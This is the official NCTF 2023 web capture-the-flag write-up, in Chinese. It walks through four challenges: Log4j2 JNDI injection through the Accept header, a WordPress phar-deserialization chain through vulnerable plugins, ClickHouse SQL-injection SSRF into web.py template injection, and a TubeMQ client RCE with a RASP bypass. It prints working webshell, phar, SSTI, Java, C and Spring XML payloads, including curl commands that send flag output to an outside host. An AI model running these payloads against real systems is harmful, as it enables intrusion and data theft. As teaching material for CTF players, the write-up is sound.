相关文章推荐

NCTF 2023 Web Official Writeup

logging

这个其实是之前研究 Log4j2 (CVE-2021-44228) 时想到的: SpringBoot 在默认配置下如何触发 Log4j2 JNDI RCE

默认配置是指代码仅仅使用了 Log4j2 的依赖, 而并没有设置其它任何东西 (例如自己写一个 Controller 然后将参数传入 logger.xxx 方法)

核心思路是 如何构造一个畸形的 HTTP 数据包使得 SpringBoot 控制台报错 , 简单 fuzz 一下就行

一个思路是 Accept 头, 如果 mine type 类型不对控制台会调用 logger 输出日志

logging-web-1  | 2023-12-24 09:15:41.220  WARN 7 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [123]: Invalid mime type "123": does not contain '/']

另外还有 Host 头, 但是只能用一次, 第二次往后就不能再打印日志了

其实一些扫描器黑盒也能直接扫出来 (例如 nuclei)

[CVE-2021-44228] [http] [critical] http://124.71.184.68:8011/ [accept,25db884fff4b]

后续就是常规的 JNDI 注入

https://github.com/WhiteHSBG/JNDIExploit

https://github.com/welk1n/JNDI-Injection-Exploit

本来想当签到题的, 但是比赛期间一直没人做出来就放了些 hint

ez_wordpress

思路来源于前段时间的 WordPress Core Gadget, 这条链的入口点是 __toString 方法

https://wpscan.com/blog/finding-a-rce-gadget-chain-in-wordpress-core/

后面看了下 phpggc 发现 6.4.0+ 更新了第二条链, 但是入口点是 __destruct 方法

https://github.com/ambionics/phpggc/blob/master/gadgetchains/WordPress/RCE/2/chain.php

因为 WordPress 自身几乎很少出现过高危漏洞, 所以实战中针对 WordPress 站点的渗透一般都是 第三方主题和插件 , 于是就找了几个有意思的插件, 配合第二条链的 Phar 反序列化 组合利用 实现 RCE

比较蛋疼的是出题的时候 WordPress 的最新版本还是 6.4.1, 但是比赛开始前几天官方放出了 6.4.2 版本修复了第二条链的反序列化, 所以其实并不是 latest (

本来想作为纯黑盒让选手使用 wpscan 收集信息的, 但是由于靶机的限制最后还是给出了 wpscan 的扫描结果

wpscan --url http://127.0.0.1:8088/

WordPress 版本 6.4.1

Drag and Drop Multiple File Upload 插件, 版本 1.3.6.2, 存在存储型 XSS, 本质是可以未授权上传图片

All-in-One Video Gallery Plugin 插件, 版本 2.6.0, 存在未授权任意文件下载 / SSRF

上传图片 -> 上传 Phar

任意文件下载 / SSRF -> 触发 Phar 反序列化

https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de/

https://wpscan.com/vulnerability/852c257c-929a-4e4e-b85e-064f8dadd994/

https://github.com/projectdiscovery/nuclei-templates/blob/6a2bab060d150921b007f17e549dd05ff9dae0cf/http/cves/2022/CVE-2022-2633.yaml

利用 phpggc 的 WordPress/RCE2 Gadget 构造 Phar

./phpggc WordPress/RCE2 system "echo '<?=eval(\$_POST[1]);?>' > /var/www/html/shell.php" -p phar -o ~/payload.phar

当然手动构造也行

<?php
namespace 
    class WP_HTML_Token 
        public $bookmark_name;
        public $on_destroy;
        public function __construct($bookmark_name, $on_destroy) 
            $this->bookmark_name = $bookmark_name;
            $this->on_destroy = $on_destroy;
    $a = new WP_HTML_Token('echo \'<?=eval($_POST[1]);?>\' > /var/www/html/shell.php', 'system');
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("GIF89A<?php XXX __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();

因为部分版本的 burp 右键 Paste from file 功能存在一些编码问题, 会导致最终上传的二进制数据格式错误, 所以最好是本地构造一个 upload.html 浏览器选择文件然后抓上传包, 或者用 Python 写个脚本, 或者使用 Yakit

下文以 Yakit 为例

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8012
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
Content-Length: 657
Connection: close
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="size_limit"
10485760
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="type"
click
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="upload-file"; filename="test.jpg"
Content-Type: image/jpeg
{{file(/Users/exp10it/payload.phar)}}
-----------------------------92633278134516118923780781161--

触发反序列化

GET /index.php/video/?dl={{base64(phar:///var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/test.jpg/test.txt)}} HTTP/1.1
Host: 127.0.0.1:8012
Connection: close

注意 phar url 的结尾必须加上 /test.txt, 因为在构造 phar 文件的时候执行的是 $phar->addFromString("test.txt", "test");, 这里的路径需要与代码中的 test.txt 对应, 否则网站会一直卡住

连上 webshell 之后查找可用的 SUID 命令

find / -user root -perm -4000 -print 2>/dev/null

使用 date 命令读取 flag

date -f /flag

house of click

思路来源于之前某次挖洞的时候偶然了解到 ClickHouse 这个数据库, 功能特性很强大, 可以读写文件/执行脚本/连接外部数据库/发起 HTTP 请求, 不过由于数据库本身的限制不太方便直接 RCE, 所以出了一道 SSRF 的题目

核心思路:

  • nginx + gunicorn 路径绕过
  • ClickHouse SQL 盲注打 SSRF
  • web.py 上传时的目录穿越 + Templetor SSTI 实现 RCE
  • 首先是路径绕过, 这个网上应该能搜到, Google 第一篇就是

    https://www.google.com/search?q=nginx+%2B+gunicorn+%E7%BB%95%E8%BF%87

    https://mp.weixin.qq.com/s/yDIMgXltVLNfslVGg9lt4g

    POST /query<TAB>HTTP/1.1/../../api/ping HTTP/1.1

    然后是 SSRF, 翻翻 ClickHouse 的官方文档就能发现有个 url 函数

    https://clickhouse.com/docs/en/sql-reference/table-functions/url

    不过发送 POST 请求上传文件的话得用 insert, 但是这里的 SQL 注入无法堆叠

    再翻翻文档可以发现 ClickHouse 有个 HTTP Interface, 通过它可以实现 GET 请求执行 insert 语句

    所以得先 SSRF ClickHouse 自身的 HTTP Interface, 然后再 SSRF 到 backend

    id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=<SQL>', 'TabSeparatedRaw', 'x String'))

    后面需要先 select 拿到 token, 外面再套一个 url 函数将 token 编码后外带, 然后再 insert 发送 POST 请求上传文件到 backend, 当然也可以直接在 X-Access-Token 头里面写一个子查询

    backend /api/upload 存在目录穿越

    files = web.input(myfile={})
    if 'myfile' in files:
        filepath = os.path.join('upload/', files.myfile.filename)
        if (os.path.isfile(filepath)):
            return 'error'
        with open(filepath, 'wb') as f:
            f.write(files.myfile.file.read())

    Index 类特地留了一个 POST 方法用于 render 其它模版, 那么就可以通过目录穿越将文件上传至 templates 目录, 然后 render 这个模版, 实现 SSTI

    def POST(self):
        data = web.input(name='index')
        return render.__getattr__(data.name)()

    SSTI 执行命令

    https://webpy.org/docs/0.3/templetor.zh-cn

    $code:
        __import__('os').system('curl http://host.docker.internal:5555/?flag=`/readflag | base64`')

    SQL 语句

    -- get token
    SELECT 
    
    
    
    
        
    * FROM url('http://host.docker.internal:4444/?a='||hex((select * FROM url('http://backend:8001/api/token', 'TabSeparatedRaw', 'x String'))), 'TabSeparatedRaw', 'x String');
    -- ssti to rce
    INSERT INTO FUNCTION url('http://backend:8001/api/upload', 'TabSeparatedRaw', 'x String', headers('Content-Type'='multipart/form-data; boundary=----test', 'X-Access-Token'='06a181b5474d020c2237cea4335ee6fd')) VALUES ('------test\r\nContent-Disposition: form-data; name="myfile"; filename="../templates/test.html"\r\nContent-Type: text/plain\r\n\r\n$code:\r\n    __import__(\'os\').system(\'curl http://host.docker.internal:5555/?flag=`/readflag | base64`\')\r\n------test--');

    然后通过 SSRF HTTP Interface 执行 insert 语句, 注意 urlencode

    -- get token
    id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=%2553%2545%254c%2545%2543%2554%2520%252a%2520%2546%2552%254f%254d%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2568%256f%2573%2574%252e%2564%256f%2563%256b%2565%2572%252e%2569%256e%2574%2565%2572%256e%2561%256c%253a%2534%2534%2534%2534%252f%253f%2561%253d%2527%257c%257c%2568%2565%2578%2528%2528%2573%2565%256c%2565%2563%2574%2520%252a%2520%2546%2552%254f%254d%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2562%2561%2563%256b%2565%256e%2564%253a%2538%2530%2530%2531%252f%2561%2570%2569%252f%2574%256f%256b%2565%256e%2527%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%2529%2529%2529%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%2529%253b', 'TabSeparatedRaw', 'x String'))
    -- ssti to rce
    id=1 AND (SELECT * FROM url('http://default:default@db:8123/?query=%2549%254e%2553%2545%2552%2554%2520%2549%254e%2554%254f%2520%2546%2555%254e%2543%2554%2549%254f%254e%2520%2575%2572%256c%2528%2527%2568%2574%2574%2570%253a%252f%252f%2562%2561%2563%256b%2565%256e%2564%253a%2538%2530%2530%2531%252f%2561%2570%2569%252f%2575%2570%256c%256f%2561%2564%2527%252c%2520%2527%2554%2561%2562%2553%2565%2570%2561%2572%2561%2574%2565%2564%2552%2561%2577%2527%252c%2520%2527%2578%2520%2553%2574%2572%2569%256e%2567%2527%252c%2520%2568%2565%2561%2564%2565%2572%2573%2528%2527%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%2527%253d%2527%256d%2575%256c%2574%2569%2570%2561%2572%2574%252f%2566%256f%2572%256d%252d%2564%2561%2574%2561%253b%2520%2562%256f%2575%256e%2564%2561%2572%2579%253d%252d%252d%252d%252d%2574%2565%2573%2574%2527%252c%2520%2527%2558%252d%2541%2563%2563%2565%2573%2573%252d%2554%256f%256b%2565%256e%2527%253d%2527%2530%2536%2561%2531%2538%2531%2562%2535%2534%2537%2534%2564%2530%2532%2530%2563%2532%2532%2533%2537%2563%2565%2561%2534%2533%2533%2535%2565%2565%2536%2566%2564%2527%2529%2529%2520%2556%2541%254c%2555%2545%2553%2520%2528%2527%252d%252d%252d%252d%252d%252d%2574%2565%2573%2574%255c%2572%255c%256e%2543%256f%256e%2574%2565%256e%2574%252d%2544%2569%2573%2570%256f%2573%2569%2574%2569%256f%256e%253a%2520%2566%256f%2572%256d%252d%2564%2561%2574%2561%253b%2520%256e%2561%256d%2565%253d%2522%256d%2579%2566%2569%256c%2565%2522%253b%2520%2566%2569%256c%2565%256e%2561%256d%2565%253d%2522%252e%252e%252f%2574%2565%256d%2570%256c%2561%2574%2565%2573%252f%2574%2565%2573%2574%252e%2568%2574%256d%256c%2522%255c%2572%255c%256e%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2574%2565%2578%2574%252f%2570%256c%2561%2569%256e%255c%2572%255c%256e%255c%2572%255c%256e%2524%2563%256f%2564%2565%253a%255c%2572%255c%256e%2520%2520%2520%2520%255f%255f%2569%256d%2570%256f%2572%2574%255f%255f%2528%255c%2527%256f%2573%255c%2527%2529%252e%2573%2579%2573%2574%2565%256d%2528%255c%2527%2563%2575%2572%256c%2520%2568%2574%2574%2570%253a%252f%252f%2568%256f%2573%2574%252e%2564%256f%2563%256b%2565%2572%252e%2569%256e%2574%2565%2572%256e%2561%256c%253a%2535%2535%2535%2535%252f%253f%2566%256c%2561%2567%253d%2560%252f%2572%2565%2561%2564%2566%256c%2561%2567%2520%257c%2520%2562%2561%2573%2565%2536%2534%2560%255c%2527%2529%255c%2572%255c%256e%252d%252d%252d%252d%252d%252d%2574%2565%2573%2574%252d%252d%2527%2529%253b', 'TabSeparatedRaw', 'x String'))

    最后 render test.html 实现 RCE

    POST /<TAB>HTTP/1.1/../../api/ping HTTP/1.1
    Host: 127.0.0.1:8013
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 9
    name=test

    当然这个 POST 上传文件的 SSRF 其实是一种极特殊的场景, 因为对于以上 SQL 语句, ClickHouse 会携带一个 Content-Type: text/tab-separated-values; charset=UTF-8 头, 但是自己增加的 HTTP 头永远是在后面的, 例如:

    POST /api/upload HTTP/1.1
    Host: host.docker.internal
    Transfer-Encoding: chunked
    Content-Type: text/tab-separated-values; charset=UTF-8
    Content-Type: multipart/form-data; boundary=----test
    X-Access-Token: 06a181b5474d020c2237cea4335ee6fd
    Connection: Close
    ------test
    Content-Disposition: form-data; name="myfile"; filename="../templates/test.html"
    Content-Type: text/plain
    $code:
        __import__('os').system('curl http://host.docker.internal:5555/?flag=`/readflag | base64`')
    ------test--
    

    对于大多数中间件, 例如 Nginx, Express, Flask 都会选择只使用第一个 Content-Type, 对于 Gin, 则会将多个 Content-Type 放入一个数组, 而 web.py 会使用第二个 Content-Type, 这也是为什么 backend 会选择 web.py 这个目前不是很主流的 Web 框架 (

    因为 ClickHouse 发送的 HTTP POST 请求永远都会使用 chunked 编码, 但在测试的时候发现 web.py 自身对 chunked 编码的解析好像并不是很好, 所以在外面加了一层 Gunicorn, 也刚好可以引出路径绕过这个点, 对于路径绕过的更多技巧可以参考陈师的 Demo: https://github.com/CHYbeta/OddProxyDemo

    最后, 这道题是 11 月份出完的, 然后 12 月份打 0CTF/TCTF 2023 的时候发现它们也出了一道 ClickHouse 的题目,思路是通过 ClickHouse JDBC Bridge (需另外部署) 任意执行 JavaScript 实现 RCE, 然后打 Hive HDFS UDF RCE, 也挺有意思的, 有兴趣可以参考: https://github.com/zsxsoft/my-ctf-challenges/tree/master/0ctf2023/olapinfra

    EvilMQ

    思路来源于前段时间的 ActiveMQ RCE (CVE-2023-46604), 后面 GitHub 全网搜了下 Apache 的其它项目发现这个 TubeMQ 也存在类似的问题, 不过这个是 Client 端 RCE, 需要自己构造一个 Evil Server

    当然 Dubbo 也有, 但是已经被修了 (CVE-2023-29234), 有兴趣可以参考: https://xz.aliyun.com/t/13187

    ActiveMQ RCE 分析: https://exp10it.io/2023/10/Apache ActiveMQ (版本 < 5.18.3) RCE 分析/

    项目地址: https://github.com/apache/inlong/tree/master/inlong-tubemq

    题目给的是 1.9.0 版本, 漏洞点位于 org.apache.inlong.tubemq.corerpc.netty.NettyClient.NettyClientHandler#channelRead

    https://github.com/apache/inlong/blob/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq/corerpc/netty/NettyClient.java#L349

    public void channelRead(ChannelHandlerContext ctx, Object e) {
        if (e instanceof RpcDataPack) {
            RpcDataPack dataPack = (RpcDataPack)e;
            Callback callback = (Callback)NettyClient.this.requests.remove(dataPack.getSerialNo());
            if (callback != null) {
                Timeout timeout = (Timeout)NettyClient.this.timeouts.remove(dataPack.getSerialNo());
                if (timeout != null) {
                    timeout.cancel();
                ResponseWrapper responseWrapper;
                try {
                    ByteBufferInputStream in = new ByteBufferInputStream(dataPack.getDataLst());
                    RPCProtos.RpcConnHeader connHeader = RpcConnHeader.parseDelimitedFrom(in);
                    if (connHeader == null) {
                        throw new EOFException();
                    RPCProtos.ResponseHeader rpcResponse = ResponseHeader.parseDelimitedFrom(in);
                    if (rpcResponse == null) {
                        throw new EOFException();
                    RPCProtos.ResponseHeader.Status status = rpcResponse.getStatus();
                    if (status == Status
    
    
    
    
        
    .SUCCESS) {
                        RPCProtos.RspResponseBody pbRpcResponse = RspResponseBody.parseDelimitedFrom(in);
                        if (pbRpcResponse == null) {
                            throw new NetworkException("Not found PBRpcResponse data!");
                        Object responseResult = PbEnDecoder.pbDecode(false, pbRpcResponse.getMethod(), pbRpcResponse.getData().toByteArray());
                        responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), pbRpcResponse.getMethod(), responseResult);
                    } else {
                        RPCProtos.RspExceptionBody exceptionResponse = RspExceptionBody.parseDelimitedFrom(in);
                        if (exceptionResponse == null) {
                            throw new NetworkException("Not found RpcException data!");
                        String exceptionName = exceptionResponse.getExceptionName();
                        exceptionName = MixUtils.replaceClassNamePrefix(exceptionName, false, rpcResponse.getProtocolVer());
                        responseWrapper = new ResponseWrapper(connHeader.getFlag(), dataPack.getSerialNo(), rpcResponse.getServiceType(), rpcResponse.getProtocolVer(), exceptionName, exceptionResponse.getStackTrace());
                    if (!responseWrapper.isSuccess()) {
                        Throwable remote = MixUtils.unwrapException((new StringBuilder(512)).append(responseWrapper.getErrMsg()).append("#").append(responseWrapper.getStackTrace()).toString());
                        if (IOException.class.isAssignableFrom(remote.getClass())) {
                            NettyClient.this.close();
                    callback.handleResult(responseWrapper);
                } catch (Throwable var13) {
                    responseWrapper = new ResponseWrapper(-2, dataPack.getSerialNo(), -2, -2, -2, var13);
                    if (var13 instanceof EOFException) {
                        NettyClient.this.close();
                    callback.handleResult(responseWrapper);
            } else if (NettyClient.logger.isDebugEnabled()) {
                NettyClient.logger.debug("Missing previous call info, maybe it has been timeout.");
    

    org.apache.inlong.tubemq.corerpc.utils.MixUtils#unwrapException

    https://github.com/apache/inlong/blob/master/inlong-tubemq/tubemq-core/src/main/java/org/apache/inlong/tubemq/corerpc/utils/MixUtils.java#L70

    public static Throwable unwrapException(String exceptionMsg) {
        try {
            String[] strExceptionMsgSet = exceptionMsg.split("#");
            if (strExceptionMsgSet.length > 0 && !TStringUtils.isBlank(strExceptionMsgSet[0])) {
                Class clazz = Class.forName(strExceptionMsgSet[0]);
                if (clazz != null) {
                    Constructor<?> ctor = clazz.getConstructor(String.class);
                    if (ctor != null) {
                        if (strExceptionMsgSet.length == 1) {
                            return (Throwable)ctor.newInstance();
                        if (strExceptionMsgSet[0].equalsIgnoreCase("java.lang.NullPointerException")) {
                            return new NullPointerException("remote return null");
                        if (strExceptionMsgSet[1] != null && !TStringUtils.isBlank(strExceptionMsgSet[1]) && !strExceptionMsgSet[1].equalsIgnoreCase("null")) {
                            return (Throwable)ctor.newInstance(strExceptionMsgSet[1]);
                        return (Throwable)ctor.newInstance("Exception with null StackTrace content");
        } catch (Throwable var4) {
        return new RemoteException(exceptionMsg);
    

    可以调用任意类的包含一个 String 参数的构造方法, 一个思路是利用 org.springframework.context.support.ClassPathXmlApplicationContext 加载 Spring XML 配置文件实现 RCE

    编写恶意 TubeMQ Server

    org.apache.inlong.tubemq.corerpc.netty.NettyRpcServer.NettyServerHandler#channelRead

    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) {
        logger.debug("server message receive!");
        if (!(msg instanceof RpcDataPack)) {
            return;
        logger.debug("server RpcDataPack message receive!");
        RpcDataPack dataPack = (RpcDataPack) msg;
        RPCProtos.RpcConnHeader connHeader;
        RPCProtos.RequestHeader requestHeader;
        RPCProtos.RequestBody rpcRequestBody
    
    
    
    
        
    ;
        int rmtVersion = RpcProtocol.RPC_PROTOCOL_VERSION;
        Channel channel = ctx.channel();
        if (channel == null) {
            return;
        String rmtaddrIp = getRemoteAddressIP(channel);
        try {
            if (!isServiceStarted()) {
                throw new ServerNotReadyException("RpcServer is not running yet");
            List<ByteBuffer> req = dataPack.getDataLst();
            ByteBufferInputStream dis = new ByteBufferInputStream(req);
            connHeader = RPCProtos.RpcConnHeader.parseDelimitedFrom(dis);
            requestHeader = RPCProtos.RequestHeader.parseDelimitedFrom(dis);
            rmtVersion = requestHeader.getProtocolVer();
            rpcRequestBody = RPCProtos.RequestBody.parseDelimitedFrom(dis);
        } catch (Throwable e1) {
            if (!(e1 instanceof ServerNotReadyException)) {
                if (rmtaddrIp != null) {
                    AtomicLong count = errParseAddrMap.get(rmtaddrIp);
                    if (count == null) {
                        AtomicLong tmpCount = new AtomicLong(0);
                        count = errParseAddrMap.putIfAbsent(rmtaddrIp, tmpCount);
                        if (count == null) {
                            count = tmpCount;
                    count.incrementAndGet();
                    long befTime = lastParseTime.get();
                    long curTime = System.currentTimeMillis();
                    if (curTime - befTime > 180000) {
                        if (lastParseTime.compareAndSet(befTime, System.currentTimeMillis())) {
                            logger.warn(new StringBuilder(512)
                                    .append("[Abnormal Visit] Abnormal Message Content visit list is :")
                                    .append(errParseAddrMap).toString());
                            errParseAddrMap.clear();
            List<ByteBuffer> res =
                    prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
                            e1.getClass().getName(), new StringBuilder(512)
                                    .append("IPC server unable to read call parameters:")
                                    .append(e1.getMessage()).toString());
            if (res != null) {
                dataPack.setDataLst(res);
                channel.writeAndFlush(dataPack);
            return;
        try {
            throw new Throwable("test");
            // RequestWrapper requestWrapper =
            // new RequestWrapper(requestHeader.getServiceType(),
            // this.protocolType, requestHeader.getProtocolVer(),
            // connHeader.getFlag(), rpcRequestBody.getTimeout());
            // requestWrapper.setMethodId(rpcRequestBody.getMethod());
            // requestWrapper.setRequestData(PbEnDecoder.pbDecode(true,
            // rpcRequestBody.getMethod(), rpcRequestBody.getRequest().toByteArray()));
            // requestWrapper.setSerialNo(dataPack.getSerialNo());
            // RequestContext context =
            // new NettyRequestContext(requestWrapper, ctx, System.currentTimeMillis());
            // protocols.get(this.protocolType).handleRequest(context, rmtaddrIp);
        } catch (Throwable ee) {
            // List<ByteBuffer> res =
            // prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
            // ee.getClass().getName(), new StringBuilder(512)
            // .append("IPC server handle request error :")
            // .append(ee.getMessage()).toString());
            List<ByteBuffer> res =
                    prepareResponse(null, rmtVersion, RPCProtos.ResponseHeader.Status.FATAL,
                            "org.springframework.context.support.ClassPathXmlApplicationContext",
                            "http://host.docker.internal:4444/poc.xml");
            if (res != null) {
                dataPack.setDataLst(res);
                ctx.channel().writeAndFlush(dataPack);
            return;
    

    然后 SimpleRasp 拦截了 java.lang.UNIXProcess#forkAndExec 方法, 有两种方法绕过

    第一种, 如果对 RASP 稍微有点了解的话就会知道一般 hook native 方法都会用到 java.lang.instrument.Instrumentation#setNativeMethodPrefix

    https://www.jrasp.com/guide/technology/native_method.html

    其原理是通过设置 prefix 来实现从 method 到 nativeImplementation 的动态解析

  • method(foo) -> nativeImplementation(foo)
  • method(wrapped_foo) -> nativeImplementation(foo)
  • method(wrapped_foo) -> nativeImplementation(wrapped_foo)
  • method(wrapped_foo) -> nativeImplementation(foo)
  • RASP 一般在实现时会先将 foo 这个 native 方法重命名为 wrapped_foo, 然后自己重新创建一个非 native 同名的 foo 方法, 在内部去调用真正的 wrapped_foo 方法

    但是在能执行 Java 代码的环境中, 使用这种方式并不能真正的防御命令执行, 我们只需要调用添加了 prefix 的 wrapped_foo 方法 (在题目中为 RASP_forkAndExec) 即可绕过 RASP 实现命令执行

    package com.example;
    import sun.misc.Unsafe;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    public class Evil {
        public Evil() throws Exception {
            Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
            theUnsafeField.setAccessible(true);
            Unsafe unsafe = (Unsafe) theUnsafeField
    
    
    
    
        
    .get(null);
            Class clazz = Class.forName("java.lang.UNIXProcess");
            Object obj = unsafe.allocateInstance(clazz);
            String[] cmd = new String[] {"bash", "-c", "curl host.docker.internal:4444 -d \"`/readflag`\""};
            byte[][] cmdArgs = new byte[cmd.length - 1][];
            int size = cmdArgs.length;
            for (int i = 0; i < cmdArgs.length; i++) {
                cmdArgs[i] = cmd[i + 1].getBytes();
                size += cmdArgs[i].length;
            byte[] argBlock = new byte[size];
            int i = 0;
            for (byte[] arg : cmdArgs) {
                System.arraycopy(arg, 0, argBlock, i, arg.length);
                i += arg.length + 1;
            int[] envc = new int[1];
            int[] std_fds = new int[]{-1, -1, -1};
            Field launchMechanismField = clazz.getDeclaredField("launchMechanism");
            Field helperpathField = clazz.getDeclaredField("helperpath");
            launchMechanismField.setAccessible(true);
            helperpathField.setAccessible(true);
            Object launchMechanism = launchMechanismField.get(obj);
            byte[] helperpath = (byte[]) helperpathField.get(obj);
            int ordinal = (int) launchMechanism.getClass().getMethod("ordinal").invoke(launchMechanism);
            Method forkMethod = clazz.getDeclaredMethod("RASP_forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
            forkMethod.setAccessible(true);
            forkMethod.invoke(obj, ordinal + 1, helperpath, toCString(cmd[0]), argBlock, cmdArgs.length, null, envc[0], null, std_fds, false);
        public byte[] toCString(String s) {
            if (s == null) {
                return null;
            byte[] bytes = s.getBytes();
            byte[] result = new byte[bytes.length + 1];
            System.arraycopy(bytes, 0, result, 0, bytes.length);
            result[result.length - 1] = (byte) 0;
            return result;
    

    第二种, RASP 并没有拦截 System.load 方法, 所以可以直接写一个 so 然后上传加载即可

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    __attribute__ ((__constructor__)) void preload (void){
        system("curl host.docker.internal:4444 -d \"`/readflag`\"");
    
    gcc -shared -fPIC exp.c -o exp.so

    Java 代码

    package com.example;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.util.Base64;
    public class Evil {
        public Evil() throws Exception {
            String data = "PAYLOAD";
            String filename = "/tmp/evil.so";
            Files.write(Paths.get(filename), Base64.getDecoder().decode(data));
            System.load(filename);
    

    最后拿到 class 字节码, 通过 Spring XML 配置文件调用 SPEL 表达式进行 defineClass

    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="data" class="java.lang.String">
            <constructor-arg><value>PAYLOAD</value></constructor-arg>
        </bean>
        <bean class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.Evil',T(org.springframework.util.Base64Utils).decodeFromString(data),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}"></bean>
    </beans>

    发起连接 (produce 或 consume 都行)

    POST /produce HTTP/1.1
    Host: 127.0.0.1:8014
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 64
    masterHostAndPort=host.docker.internal:8715&topic=test&data=test
     
    推荐文章